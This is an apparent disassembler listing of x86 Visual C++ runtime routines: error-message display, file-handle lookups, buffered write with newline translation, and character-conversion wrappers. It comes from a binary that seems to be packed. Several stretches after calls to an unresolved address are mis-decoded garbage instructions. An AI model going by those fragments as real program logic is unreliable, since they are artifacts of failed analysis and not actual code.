		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_4195AF
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_4195AF
		js	short loc_4195BA
		mov	edi, [ebx+8]
		push	ebx
		call	sub_412D40
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_412D82
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_412E16
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_4195AF:				; CODE XREF: sub_419528+40j
					; sub_419528+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41955B
; ---------------------------------------------------------------------------


loc_4195BA:				; CODE XREF: sub_419528+54j
		mov	eax, 0
		jmp	short loc_4195DD
; ---------------------------------------------------------------------------


loc_4195C1:				; CODE XREF: sub_419528+36j
		mov	eax, 1
		jmp	short loc_4195DD
; ---------------------------------------------------------------------------


loc_4195C8:				; CODE XREF: sub_419528+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_412D82
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_4195DD:				; CODE XREF: sub_419528+97j
					; sub_419528+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419528	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_412D82
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_419600	proc near		; CODE XREF: sub_4144BE+9p
					; sub_4144E3+9p
		mov	eax, dword_462C18
		cmp	eax, 1
		jz	short loc_419617
		test	eax, eax
		jnz	short locret_419638
		cmp	dword_4314A4, 1
		jnz	short locret_419638


loc_419617:				; CODE XREF: sub_419600+8j
		push	0FCh
		call	sub_419639
		mov	eax, dword_462D80
		pop	ecx
		test	eax, eax
		jz	short loc_41962D
		call	eax ; dword_462D80


loc_41962D:				; CODE XREF: sub_419600+29j
		push	0FFh
		call	sub_419639
		pop	ecx

locret_419638:				; CODE XREF: sub_419600+Cj
					; sub_419600+15j
		retn
sub_419600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419639	proc near		; CODE XREF: sub_4144BE+12p
					; sub_4144E3+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_431B18


loc_41964C:				; CODE XREF: sub_419639+20j
		cmp	edx, [eax]
		jz	short loc_41965B
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_431BA8
		jl	short loc_41964C


loc_41965B:				; CODE XREF: sub_419639+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_431B18[esi]
		jnz	near ptr loc_419786+3
		mov	eax, dword_462C18
		cmp	eax, 1
		jz	loc_419763
		test	eax, eax
		jnz	short loc_41968C
		cmp	dword_4314A4, 1
		jz	loc_419763


loc_41968C:				; CODE XREF: sub_419639+44j
		cmp	edx, 0FCh
		jz	near ptr loc_419786+3
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 0AB0000h
		inc	ebx
		test	eax, eax
		jnz	short loc_4196C3
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_412600
		pop	ecx
		pop	ecx


loc_4196C3:				; CODE XREF: sub_419639+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_4126F0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_419706
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4126F0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_413710
		add	esp, 10h


loc_419706:				; CODE XREF: sub_419639+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_412600
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_412610
		lea	eax, [ebp+var_A0]
		push	offset asc_41DB38 ; "\n\n"
		push	eax
		call	sub_412610
		push	off_431B1C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_412610
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41AFBE
		add	esp, 2Ch
		pop	edi
		jmp	short near ptr loc_419786+3
; ---------------------------------------------------------------------------


loc_419763:				; CODE XREF: sub_419639+3Cj
					; sub_419639+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_431B1C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_4126F0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 0AB0000h
		test	[eax-18h], edx
		js	short near ptr loc_4197ED+1


loc_419786:				; CODE XREF: sub_419639+2Ej
					; sub_419639+59j ...
		imul	eax, [eax], 0C3C95E64h
sub_419639	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41978C	proc near		; CODE XREF: sub_414507+95p
					; sub_414507+E8p ...

var_74F48B40	= byte ptr -74F48B40h
var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_463FE0
		push	esi
		push	edi
		jnb	loc_419920
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:463EE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_419920
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_4197DD


loc_4197D6:				; CODE XREF: sub_41978C+177j
		xor	eax, eax
		jmp	loc_419934
; ---------------------------------------------------------------------------


loc_4197DD:				; CODE XREF: sub_41978C+48j
		test	al, 20h
		jz	short loc_4197ED
		push	2
		push	edi
		push	ecx
		call	sub_41844F
		add	esp, 0Ch


loc_4197ED:				; CODE XREF: sub_41978C+53j
					; sub_419639+14Bj
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_4198BC
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_4198F4


loc_41980D:				; CODE XREF: sub_41978C+F5j
		lea	eax, [ebp+var_414]


loc_419813:				; CODE XREF: sub_41978C+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_419847
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_419832
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_419832:				; CODE XREF: sub_41978C+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_419813


loc_419847:				; CODE XREF: sub_41978C+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 0AB0000h
		pop	esi
		test	eax, eax
		jz	short loc_4198B1
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_419883
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41980D


loc_419883:				; CODE XREF: sub_41978C+EAj
					; sub_41978C+12Ej
		xor	edi, edi


loc_419885:				; CODE XREF: sub_41978C+150j
					; sub_41978C+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41991B
		cmp	[ebp+arg_0], edi
		jz	short loc_4198F4
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_4198E9
		mov	dword_462BC4, 9
		mov	dword_462BC8, eax
		jmp	loc_419931
; ---------------------------------------------------------------------------


loc_4198B1:				; CODE XREF: sub_41978C+E0j
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_419883
; ---------------------------------------------------------------------------


loc_4198BC:				; CODE XREF: sub_41978C+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 0AB0000h
		xor	[ebp+var_74F48B40], al
		inc	ebp
		hlt
; ---------------------------------------------------------------------------
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_419885
; ---------------------------------------------------------------------------
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_419885
; ---------------------------------------------------------------------------


loc_4198E9:				; CODE XREF: sub_41978C+10Fj
		push	[ebp+arg_0]
		call	sub_418CFA
		pop	ecx
		jmp	short loc_419931
; ---------------------------------------------------------------------------


loc_4198F4:				; CODE XREF: sub_41978C+7Bj
					; sub_41978C+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_419909
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_4197D6


loc_419909:				; CODE XREF: sub_41978C+16Fj
		mov	dword_462BC4, 1Ch
		mov	dword_462BC8, edi
		jmp	short loc_419931
; ---------------------------------------------------------------------------


loc_41991B:				; CODE XREF: sub_41978C+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_419934
; ---------------------------------------------------------------------------


loc_419920:				; CODE XREF: sub_41978C+15j
					; sub_41978C+37j
		and	dword_462BC8, 0
		mov	dword_462BC4, 9


loc_419931:				; CODE XREF: sub_41978C+120j
					; sub_41978C+166j ...
		or	eax, 0FFFFFFFFh


loc_419934:				; CODE XREF: sub_41978C+4Cj
					; sub_41978C+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41978C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419939	proc near		; CODE XREF: sub_414507+6Cp
					; sub_418180+32p ...

arg_0		= dword	ptr  4

		inc	dword_462D84
		push	1000h
		call	sub_41279F
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_419962
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_419973
; ---------------------------------------------------------------------------


loc_419962:				; CODE XREF: sub_419939+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_419973:				; CODE XREF: sub_419939+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_419939	endp


; =============== S U B	R O U T	I N E =======================================



sub_41997D	proc near		; CODE XREF: sub_414507+61p
					; sub_415086+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_463FE0
		jb	short loc_41998C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41998C:				; CODE XREF: sub_41997D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_463EE0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41997D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199A3	proc near		; DATA XREF: .nsp0:0041F01Co
		mov	eax, dword_463EC0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_4199B7
		mov	eax, 200h
		jmp	short loc_4199BD
; ---------------------------------------------------------------------------


loc_4199B7:				; CODE XREF: sub_4199A3+Bj
		cmp	eax, esi
		jge	short loc_4199C2
		mov	eax, esi


loc_4199BD:				; CODE XREF: sub_4199A3+12j
		mov	dword_463EC0, eax


loc_4199C2:				; CODE XREF: sub_4199A3+16j
		push	4
		push	eax
		call	sub_41B047
		pop	ecx
		mov	dword_462EB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4199F6
		push	4
		push	esi
		mov	dword_463EC0, esi
		call	sub_41B047
		pop	ecx
		mov	dword_462EB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_4199F6
		push	1Ah
		call	sub_4144BE
		pop	ecx


loc_4199F6:				; CODE XREF: sub_4199A3+30j
					; sub_4199A3+49j
		xor	ecx, ecx
		mov	eax, offset off_431BA8


loc_4199FD:				; CODE XREF: sub_4199A3+6Ej
		mov	edx, dword_462EB0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_431E28
		jl	short loc_4199FD
		xor	edx, edx
		mov	ecx, offset dword_431BB8


loc_419A1A:				; CODE XREF: sub_4199A3+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_463EE0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A37
		test	eax, eax
		jnz	short loc_419A3A


loc_419A37:				; CODE XREF: sub_4199A3+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_419A3A:				; CODE XREF: sub_4199A3+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_431C18
		jl	short loc_419A1A
		pop	esi
		retn
sub_4199A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A48	proc near		; DATA XREF: .nsp0:0041F02Co

; FUNCTION CHUNK AT 0041B0C4 SIZE 00000058 BYTES

		call	sub_415010
		cmp	byte_462C04, 0
		jz	short locret_419A5B
		jmp	loc_41B0C4
; ---------------------------------------------------------------------------

locret_419A5B:				; CODE XREF: sub_419A48+Cj
		retn
sub_419A48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A5C	proc near		; CODE XREF: sub_41461C+2D4p
					; sub_41461C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_419A68
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419A68:				; CODE XREF: sub_419A5C+8j
		cmp	dword_462C58, 0
		jnz	short loc_419A83
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_419AB5
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A5C+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4316BC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_462C68
		call	dword_41D12C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_419AB5
		cmp	[ebp+arg_0], 0
		jz	short loc_419AC2


loc_419AB5:				; CODE XREF: sub_419A5C+1Ej
					; sub_419A5C+51j
		mov	dword_462BC4, 2Ah
		or	eax, 0FFFFFFFFh


loc_419AC2:				; CODE XREF: sub_419A5C+57j
		pop	ebp
		retn
sub_419A5C	endp

; ---------------------------------------------------------------------------


loc_419AC4:				; CODE XREF: sub_414E26+5Ep
					; sub_418ACF+9Ap
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41DB78
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, dword_462D88
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_419B33
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_41D868
		push	esi
		call	dword_41D028	; GetStringTypeW
		test	eax, eax
		jz	short loc_419B11
		mov	eax, esi
		jmp	short loc_419B2E
; ---------------------------------------------------------------------------


loc_419B11:				; CODE XREF: .nsp0:00419B0Bj
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_432704
		push	esi
		push	ebx
		call	near ptr 0AB0000h
		sub	[ebp-317BF040h], eax
; ---------------------------------------------------------------------------
		dd 6A000000h
		db 2, 58h
; ---------------------------------------------------------------------------


loc_419B2E:				; CODE XREF: .nsp0:00419B0Fj
		mov	dword_462D88, eax


loc_419B33:				; CODE XREF: .nsp0:00419AF3j
		cmp	eax, 2
		jnz	short loc_419B5C
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_419B44
		mov	eax, dword_462C58


loc_419B44:				; CODE XREF: .nsp0:00419B3Dj
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0AB0000h
		stosb
		jmp	loc_419BFB
; ---------------------------------------------------------------------------


loc_419B5C:				; CODE XREF: .nsp0:00419B36j
		cmp	eax, 1
		jnz	loc_419BF9
		cmp	[ebp+18h], ebx
		jnz	short loc_419B72
		mov	eax, dword_462C68
		mov	[ebp+18h], eax


loc_419B72:				; CODE XREF: .nsp0:00419B68j
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	dword_41D130	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_419BF9
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_412770
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_411F70
		add	esp, 0Ch
		jmp	short loc_419BC8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_419BC8:				; CODE XREF: .nsp0:00419BBBj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_419BF9
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	dword_41D130	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_419BF9
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	dword_41D028	; GetStringTypeW
		jmp	short loc_419BFB
; ---------------------------------------------------------------------------


loc_419BF9:				; CODE XREF: .nsp0:00419B5Fj
					; .nsp0:00419B94j ...
		xor	eax, eax


loc_419BFB:				; CODE XREF: .nsp0:00419B57j
					; .nsp0:00419BF7j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419C0D	proc near		; CODE XREF: sub_419E27:loc_419F9Fp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_463EE0


loc_419C1C:				; CODE XREF: sub_419C0D+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_419C59
		lea	edx, [eax+100h]


loc_419C28:				; CODE XREF: sub_419C0D+28j
		cmp	eax, edx
		jnb	short loc_419C48
		test	byte ptr [eax+4], 1
		jz	short loc_419C37
		add	eax, 8
		jmp	short loc_419C28
; ---------------------------------------------------------------------------


loc_419C37:				; CODE XREF: sub_419C0D+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_419C9C


loc_419C48:				; CODE XREF: sub_419C0D+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_463FE0
		jl	short loc_419C1C
		jmp	short loc_419C9C
; ---------------------------------------------------------------------------


loc_419C59:				; CODE XREF: sub_419C0D+13j
		mov	esi, 100h
		push	esi
		call	sub_41279F
		test	eax, eax
		pop	ecx
		jz	short loc_419C9C
		add	dword_463FE0, 20h
		lea	ecx, ds:463EE0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_419C7F:				; CODE XREF: sub_419C0D+88j
		cmp	eax, edx
		jnb	short loc_419C97
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_419C7F
; ---------------------------------------------------------------------------


loc_419C97:				; CODE XREF: sub_419C0D+74j
		shl	edi, 5
		mov	ebx, edi


loc_419C9C:				; CODE XREF: sub_419C0D+39j
					; sub_419C0D+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_419C0D	endp

; ---------------------------------------------------------------------------


loc_419CA2:				; CODE XREF: sub_419E27+1F4p
		mov	eax, [esp+4]
		push	esi
		cmp	eax, dword_463FE0
		push	edi
		jnb	short loc_419D02
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:463EE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_419D02
		cmp	dword_4314A4, 1
		push	ebx
		mov	ebx, [esp+14h]
		jnz	short near ptr loc_419CF7+1
		sub	eax, 0
		jz	short loc_419CEF
		dec	eax
		jz	short loc_419CEA
		dec	eax
		jnz	short near ptr loc_419CF7+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_419CF2
; ---------------------------------------------------------------------------


loc_419CEA:				; CODE XREF: .nsp0:00419CE0j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_419CF2
; ---------------------------------------------------------------------------


loc_419CEF:				; CODE XREF: .nsp0:00419CDDj
		push	ebx
		push	0FFFFFFF6h


loc_419CF2:				; CODE XREF: .nsp0:00419CE8j
					; .nsp0:00419CEDj
		call	near ptr 0AB0000h


loc_419CF7:				; CODE XREF: .nsp0:00419CD8j
					; .nsp0:00419CE3j
		or	[ebx+301C8907h], cl
		xor	eax, eax
		pop	ebx
		jmp	short loc_419D16
; ---------------------------------------------------------------------------


loc_419D02:				; CODE XREF: .nsp0:00419CAEj
					; .nsp0:00419CCAj
		and	dword_462BC8, 0
		mov	dword_462BC4, 9
		or	eax, 0FFFFFFFFh


loc_419D16:				; CODE XREF: .nsp0:00419D00j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419D19	proc near		; CODE XREF: sub_414E9B+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_463FE0
		push	edi
		jnb	short loc_419D7C
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:463EE0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_419D7C
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_419D7C
		cmp	dword_4314A4, 1
		jnz	short near ptr loc_419D71+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_419D69
		dec	ecx
		jz	short loc_419D64
		dec	ecx
		jnz	short near ptr loc_419D71+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_419D6C
; ---------------------------------------------------------------------------


loc_419D64:				; CODE XREF: sub_419D19+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_419D6C
; ---------------------------------------------------------------------------


loc_419D69:				; CODE XREF: sub_419D19+3Ej
		push	eax
		push	0FFFFFFF6h


loc_419D6C:				; CODE XREF: sub_419D19+49j
					; sub_419D19+4Ej
		call	near ptr 0AB0000h


loc_419D71:				; CODE XREF: sub_419D19+38j
					; sub_419D19+44j
		fmul	dword ptr [ebx+300C8307h]
		push	dword ptr [ebx]
		shr	bl, 14h


loc_419D7C:				; CODE XREF: sub_419D19+Cj
					; sub_419D19+2Aj ...
		and	dword_462BC8, 0
		mov	dword_462BC4, 9
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		retn
sub_419D19	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D93	proc near		; CODE XREF: sub_414E9B+32p
					; sub_414E9B+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_463FE0
		jnb	short loc_419DBB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_463EE0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_419DBB
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_419DBB:				; CODE XREF: sub_419D93+Aj
					; sub_419D93+23j
		and	dword_462BC8, 0
		mov	dword_462BC4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_419D93	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DD0	proc near		; CODE XREF: sub_414F79+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_463FE0
		jnb	short loc_419E19
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_463EE0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_419E19
		push	eax
		call	sub_419D93
		pop	ecx
		push	eax
		call	near ptr 0AB0000h
		add	[ebp-0F78A40h],	al
		adc	eax, offset dword_41D06C
		jmp	short loc_419E10
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_419E10:				; CODE XREF: sub_419DD0+3Cj
		test	eax, eax
		jz	short locret_419E26
		mov	dword_462BC8, eax


loc_419E19:				; CODE XREF: sub_419DD0+Aj
					; sub_419DD0+22j
		mov	dword_462BC4, 9
		or	eax, 0FFFFFFFFh

locret_419E26:				; CODE XREF: sub_419DD0+42j
		retn
sub_419DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E27	proc near		; CODE XREF: sub_415150+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_419E4D
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_419E58
; ---------------------------------------------------------------------------


loc_419E4D:				; CODE XREF: sub_419E27+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_419E58:				; CODE XREF: sub_419E27+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_419E72
		test	ch, 40h
		jnz	short loc_419E6E
		cmp	dword_462E90, eax
		jz	short loc_419E72


loc_419E6E:				; CODE XREF: sub_419E27+3Dj
		or	[ebp+var_1], 80h


loc_419E72:				; CODE XREF: sub_419E27+38j
					; sub_419E27+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_419EAA
		dec	eax
		jz	short loc_419EA1
		dec	eax
		jz	short loc_419E98


loc_419E83:				; CODE XREF: sub_419E27+9Fj
					; sub_419E27+E8j ...
		mov	dword_462BC4, 16h
		mov	dword_462BC8, ebx
		jmp	loc_41A0BD
; ---------------------------------------------------------------------------


loc_419E98:				; CODE XREF: sub_419E27+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_419EB1
; ---------------------------------------------------------------------------


loc_419EA1:				; CODE XREF: sub_419E27+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_419EB1
; ---------------------------------------------------------------------------


loc_419EAA:				; CODE XREF: sub_419E27+54j
		mov	[ebp+var_C], 80000000h


loc_419EB1:				; CODE XREF: sub_419E27+78j
					; sub_419E27+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_419EDF
		cmp	eax, 20h
		jz	short loc_419ED6
		cmp	eax, 30h
